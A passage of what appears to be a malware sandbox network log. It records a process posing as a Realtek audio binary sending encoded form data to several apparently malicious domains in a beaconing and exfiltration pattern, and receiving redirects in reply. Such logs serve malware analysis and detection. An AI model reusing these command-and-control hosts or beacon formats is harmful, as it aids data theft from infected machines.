
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49772	104.21.13.141	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:25.216981888 CET	6445	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 70 54 62 77 79 76 6f 73 77 67 69 44 51 5a 37 56 51 71 4e 62 76 44 42 69 6a 31 5a 74 58 35 31 61 4e 6e 2b 49 54 32 54 45 76 46 65 63 4e 73 76 4c 47 72 79 35 61 43 58 44 54 68 75 32 56 53 46 34 55 55 5a 75 31 6b 53 56 65 65 43 36 66 5a 30 6e 5a 41 5a 5a 52 41 4b 74 37 2f 30 4d 61 6a 35 31 79 48 73 32 4c 34 6e 33 48 53 38 52 37 48 35 5a 58 42 53 55 36 45 55 4a 41 6e 75 59 57 54 78 79 58 77 63 42 38 72 67 70 75 54 39 49 47 38 71 6f 31 53 6d 6c 59 33 73 51 72 4d 58 54 72 34 45 6f 43 35 4f 6e 6c 62 6b 70 68 53 66 38 33 7a 45 67 51 72 39 41 42 32 73 51 6c 36 79 5a 63 6d 35 35 44 53 68 79 6e 4d 37 32 32 37 79 6d 55 75 74 59 76 61 62 76 74 68 47 36 54 42 59 42 4c 45 31 39 6f 61 44 76 72 58 63 63 44 37 44 32 47 51 4a 50 44 76 36 49 49 35 78 38 64 64 46 6c 39 56 4f 46 41 4e 33 72 64 43 69 4c 56 6e 4e 72 47 68 35 35 73 4c 43 38 75 33 6a 43 68 39 51 4c 67 55 66 4a 65 4b 78 33 6c [TRUNCATED] Data Ascii: lV=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBpTbwyvoswgiDQZ7VQqNbvDBij1ZtX51aNn+IT2TEvFecNsvLGry5aCXDThu2VSF4UUZu1kSVeeC6fZ0nZAZZRAKt7/0Maj51yHs2L4n3HS8R7H5ZXBSU6EUJAnuYWTxyXwcB8rgpuT9IG8qo1SmlY3sQrMXTr4EoC5OnlbkphSf83zEgQr9AB2sQl6yZcm55DShynM7227ymUutYvabvthG6TBYBLE19oaDvrXccD7D2GQJPDv6II5x8ddFl9VOFAN3rdCiLVnNrGh55sLC8u3jCh9QLgUfJeKx3lAirVxgQND0gbkRaAAniDbLJz2k7dSWE5yFZEUaOADkKuEIjwTQly/qfGuNnBAyxr04WNyp1odqbRNei/IjZA3bIiEiAr/kHcoGoEtJpqcg6UntDbo6jocQX84qspY1ZJ0p8FcIRT1vNJDVE4yIkImROWLh0Ow8jDdLv2C/L4AFTnDMvjuFGjKA2tHWwhU1caOR82yMGGsacYREDshpiXMixHChlwV1bOcao17swzRzb7K2AoMCULnl9MNGICEJje5+RXGg8i6QV110SIWi61SuI8K4BfjCwXJlsUkE3ARHZysswkg3cquqA9PBCyWdUxfhjhykrYqasrWAXAv2pSybc06Z6XLDsTI6ztFY+Mq8Gq/P3zQTBxTjHqLgr+G/tqGjJs2Kc7JrmzC2kKlxONDbzDv0jLGRXzwUGQSU4IAppAhzUrfdkk4P7w+cqPAu9ofscbQAo+YMfJ2UZeTrNMkVfN59CyZ9uKqp+0xMxVTl2wvSY0d3UfpdsCxJZGCijmJ5PNTOUFnSkZGhfXNiijFWGpedP+MCYqykrbTwfmU1p9NEOkfFHLDtt52WWK+eJVGtzuB2gtVX3hYc052dYU/mT21ctshvXmBytH/BN/5axChIYIW/8t1UhymWbJnqh8yTQyzLJtDYraNeNh8aJnWr6Fhq603Z4lBr [TRUNCATED]
Jan 9, 2025 16:49:25.217051029 CET	1519	OUT	Data Raw: 49 69 4d 73 34 35 64 32 76 37 42 76 37 47 66 52 34 4f 33 61 36 53 44 32 70 47 72 50 43 58 74 47 32 70 63 6d 48 47 4f 33 64 36 57 73 2f 4e 6a 6b 38 32 4b 56 73 42 37 67 52 72 31 2f 65 37 30 43 37 4f 35 4d 53 2b 32 41 7a 37 65 48 49 6d 63 56 64 36 Data Ascii: IiMs45d2v7Bv7GfR4O3a6SD2pGrPCXtG2pcmHGO3d6Ws/Njk82KVsB7gRr1/e70C7O5MS+2Az7eHImcVd6atRytEqjpXIKuFfOSMVdwjZEBUgWKozbjZa+3KFlpXcyLerv4hQ8mFl3SZFCBAyBMsNt6Z/g00aNagUOHljodm/cbwUenUw2PKisswrATMXxNaeT01qpRuJSweI1e461U/lZ2d+WIHOISR3a58rZTf9zkmsuVawu7
Jan 9, 2025 16:49:25.349929094 CET	804	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:49:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:49:25 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZOQPvpzEdHa6bjdhSbZ4jHvGgr0tfNGAt0rgBsEwAOAXCc%2Bt3PcF1ae8hPCz7mxdAMdkJp6zD4hODrYVsHX8TfDkPJ%2BJ93QJcpYlWh%2F7RmYXcEbC4LSSJAxXlNHPUbkaOwdl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff593c10c37eaf5-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49773	104.21.13.141	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:27.869154930 CET	530	OUT	GET /kj1o/?lV=aFAzn/LT2mOAaNQHP98soQbFSeChigB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQskl/LrNJEccoBVqSJKs=&LSbaT=zft4LoBw HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:49:27.995160103 CET	779	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:49:27 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:49:27 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lrz2%2B4VGEB6BfONc8adXj5YUqj4yDQOyNCLmS9K6myhmgVffyj8jDRTJgXA2OqYv8jQWf3OjhH9VbnCnkC04oo2tRIpEYNt1N2%2BzeEd3J4ge7wNqSaVQJPElDJC9fuioaxQz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff593d19af5f862-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49774	136.243.64.147	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:42.366858006 CET	822	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6d 48 49 50 47 61 64 4b 6c 5a 43 61 64 66 66 59 33 65 6a 5a 41 2b 67 77 48 76 76 4f 6d 49 45 75 54 35 4e 41 46 59 54 31 66 65 39 32 4c 6f 79 2f 51 58 65 70 6f 7a 51 73 72 4f 33 42 7a 77 70 73 79 62 45 31 7a 76 2f 76 71 67 55 2b 44 7a 56 38 49 37 45 76 35 45 50 4c 4c 4d 76 47 54 51 46 31 6c 61 61 43 34 44 76 50 35 45 62 4d 4c 6b 79 51 6d 43 58 4d 6b 63 52 33 2f 31 38 55 73 2f 2b 48 54 39 64 66 45 55 50 71 43 32 6f 53 72 4a 73 2b 47 31 6c 41 54 6f 51 48 68 49 55 34 59 78 32 38 76 4e 69 4a 75 35 31 78 41 63 70 30 4c 6f 4b 70 67 36 79 6d 6b 41 3d 3d Data Ascii: lV=tIFi+WNsJjQFmHIPGadKlZCadffY3ejZA+gwHvvOmIEuT5NAFYT1fe92Loy/QXepozQsrO3BzwpsybE1zv/vqgU+DzV8I7Ev5EPLLMvGTQF1laaC4DvP5EbMLkyQmCXMkcR3/18Us/+HT9dfEUPqC2oSrJs+G1lAToQHhIU4Yx28vNiJu51xAcp0LoKpg6ymkA==
Jan 9, 2025 16:49:42.591762066 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:49:42 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49775	136.243.64.147	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:45.118617058 CET	842	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6b 6e 34 50 46 39 42 4b 6b 35 43 64 42 76 66 59 35 2b 6a 64 41 2b 38 77 48 75 71 4c 6c 2b 55 75 57 72 56 41 47 64 2f 31 65 65 39 32 45 49 79 36 55 58 65 79 6f 7a 63 53 72 50 4c 42 7a 78 4e 73 79 65 34 31 7a 59 54 6f 71 77 55 38 43 44 56 36 48 62 45 76 35 45 50 4c 4c 49 4f 68 54 51 74 31 6c 75 6d 43 70 52 58 51 36 45 62 44 63 55 79 51 78 53 57 4c 6b 63 52 46 2f 33 45 36 73 39 32 48 54 2b 4a 66 45 46 50 70 56 47 6f 49 6b 70 74 48 41 6c 6b 4f 63 4a 5a 77 77 34 30 6c 66 53 50 49 6e 37 76 54 7a 4c 42 56 44 50 31 47 50 59 7a 42 69 34 7a 39 35 48 79 72 66 69 50 75 7a 30 56 51 51 52 74 78 44 71 47 4e 73 41 6f 3d Data Ascii: lV=tIFi+WNsJjQFkn4PF9BKk5CdBvfY5+jdA+8wHuqLl+UuWrVAGd/1ee92EIy6UXeyozcSrPLBzxNsye41zYToqwU8CDV6HbEv5EPLLIOhTQt1lumCpRXQ6EbDcUyQxSWLkcRF/3E6s92HT+JfEFPpVGoIkptHAlkOcJZww40lfSPIn7vTzLBVDP1GPYzBi4z95HyrfiPuz0VQQRtxDqGNsAo=
Jan 9, 2025 16:49:45.344302893 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:49:45 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49776	136.243.64.147	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:47.892793894 CET	2578	OUT	POST /cxj4/ HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.100millionjobs.africa Referer: http://www.100millionjobs.africa/cxj4/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 74 49 46 69 2b 57 4e 73 4a 6a 51 46 6b 6e 34 50 46 39 42 4b 6b 35 43 64 42 76 66 59 35 2b 6a 64 41 2b 38 77 48 75 71 4c 6c 2b 63 75 57 2b 4a 41 47 36 4c 31 64 65 39 32 4e 6f 79 37 55 58 65 2f 6f 7a 46 56 72 50 47 6a 7a 79 6c 73 7a 34 73 31 36 4d 48 6f 68 77 55 38 48 7a 56 37 49 37 45 32 35 46 2f 50 4c 4d 69 68 54 51 74 31 6c 76 32 43 35 7a 76 51 38 45 62 4d 4c 6b 79 63 6d 43 57 76 6b 63 49 79 2f 78 59 45 74 4d 57 48 54 59 70 66 49 54 54 70 4a 57 6f 57 6a 70 74 32 41 6c 6f 46 63 4a 55 4a 77 34 41 44 66 52 66 49 6b 64 33 46 30 2f 45 4c 41 4e 46 2b 51 59 37 31 6b 37 6a 31 7a 41 7a 58 65 52 62 52 30 68 4e 54 58 6a 31 52 55 71 65 55 2f 56 46 39 72 38 4f 54 58 63 63 35 42 33 64 4d 6f 73 6c 6b 67 51 4f 75 78 4b 5a 4f 70 51 68 57 48 51 33 61 48 64 35 44 77 32 70 48 5a 42 46 53 6a 6e 7a 71 76 35 53 37 30 30 63 58 6e 66 6a 7a 4c 5a 51 53 30 49 65 55 65 68 63 70 64 67 79 56 67 51 4c 4e 73 39 5a 58 51 77 76 30 71 73 50 43 50 4b 34 47 41 55 4b 76 33 31 51 44 6a 57 4d 2f 6c 6b 36 4e 63 49 37 2f 52 65 76 [TRUNCATED] Data Ascii: lV=tIFi+WNsJjQFkn4PF9BKk5CdBvfY5+jdA+8wHuqLl+cuW+JAG6L1de92Noy7UXe/ozFVrPGjzylsz4s16MHohwU8HzV7I7E25F/PLMihTQt1lv2C5zvQ8EbMLkycmCWvkcIy/xYEtMWHTYpfITTpJWoWjpt2AloFcJUJw4ADfRfIkd3F0/ELANF+QY71k7j1zAzXeRbR0hNTXj1RUqeU/VF9r8OTXcc5B3dMoslkgQOuxKZOpQhWHQ3aHd5Dw2pHZBFSjnzqv5S700cXnfjzLZQS0IeUehcpdgyVgQLNs9ZXQwv0qsPCPK4GAUKv31QDjWM/lk6NcI7/RevUiBWtczGaPEvbPbSX2eQc46ABGMAWJgkgtSW7KEPXRTHm+NAKkbBCdnMKEiyRsf+wDeO7yh7HuhRJHFLkNdA4hkiD7ZX4kniJObGWp+m+cVe77KYRfifgirUfBcbDBfidJjQ5oUr0Y8ekzO0ZqEs1UqJEIbzZJaW6hK0iyijbol/JUZxpAcX8uskpsxfVfqmX76iUIj/xW0ESldgPaxSP9v4IJgnWgG7J31qI0WAqChAy+1XkKXesuMT1s57IlJnDQgJcw++hhOr73QFj341Zm/OAR77v3gAbLDuStad+5g6aaX5R80QZji5NFAUplbv/V+soJeucMH72/24G5C5CAUXujepWzYUoPB3tNBvSrvmwtWnt9w7UJr/MqZweTPcq5VJQJB6ik0cyfjzmtg1/ZxUqPXy/hBnbjvJCCRIRONIENEsU9IjO0gOLfO5gNKRSI5L/OgRuRulg6/kPx7u08P9sHI9AE34sxNo/vTdbpcyYNK9z7jeddWJkS1+EEwbR4UuuoiMqNJ1MPTp4sqh0VJN7sEStmTQIJy7R31P1cEK5wu2zNj6gL9ryl2VuhWDS7anYggDe9HEcDZcnsExrNh/D+iJus3M4J4t17McM8VCMtG+cclEZswGPLNryRbbmKUKlj3F60wfkqJTzEpEaTji1yGCGgSS2/ [TRUNCATED]
Jan 9, 2025 16:49:47.892848015 CET	5413	OUT	Data Raw: 31 58 42 59 50 75 45 2f 66 44 6f 6e 4a 42 54 61 52 59 46 30 2b 6a 53 77 7a 48 64 6a 39 72 68 6b 4c 4c 70 31 64 44 7a 47 79 75 54 44 67 42 6f 6b 49 48 5a 50 45 43 69 77 30 74 6c 4e 6a 43 39 45 6a 61 38 67 38 66 49 79 54 39 41 4b 76 46 47 57 43 61 Data Ascii: 1XBYPuE/fDonJBTaRYF0+jSwzHdj9rhkLLp1dDzGyuTDgBokIHZPECiw0tlNjC9Eja8g8fIyT9AKvFGWCacNWBzXqNchRYYYsiKS6m3nUSXbzkDTSXvAdb7wyqwIwnfUEbwqOUHjtu+mWEuJpvF2LumPOwEhQwvL2q8aQbGlSlHLu4EAFgIba/6jRw/PPKn6GJn0zRIQnq0IEjlRxhexKOiyodDogzplmsg6DjC7SoedaNoAPQT
Jan 9, 2025 16:49:48.122936010 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:49:48 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49777	136.243.64.147	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:50.645917892 CET	539	OUT	GET /cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:49:50.871047974 CET	775	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:49:50 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw Content-Length: 433 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 3f 6c 56 3d 67 4b 74 43 39 6d 70 4e 48 54 6b 54 72 30 30 4f 4f 72 6c 75 6c 38 43 31 51 2b 44 58 76 4e 75 6f 4d 38 45 62 58 4d 4b 4e 6a 65 59 6d 45 5a 74 63 47 61 6a 79 42 63 74 72 57 4f 36 6f 45 48 4f 6f 6f 67 46 54 6c 66 53 38 2b 44 4e 51 77 35 35 44 32 4d 66 43 71 41 68 6a 49 6a 4e 67 5a 36 6b 77 6b 48 4c 71 49 4c 79 46 56 51 6b 6b 33 66 65 34 75 43 33 45 37 44 41 3d 26 61 6d 70 3b 4c 53 62 61 54 3d 7a 66 74 34 4c 6f 42 77 22 3e 68 65 72 65 3c 2f 61 3e 2e [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q+DXvNuoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqILyFVQkk3fe4uC3E7DA=&LSbaT=zft4LoBw">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49778	202.95.11.110	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
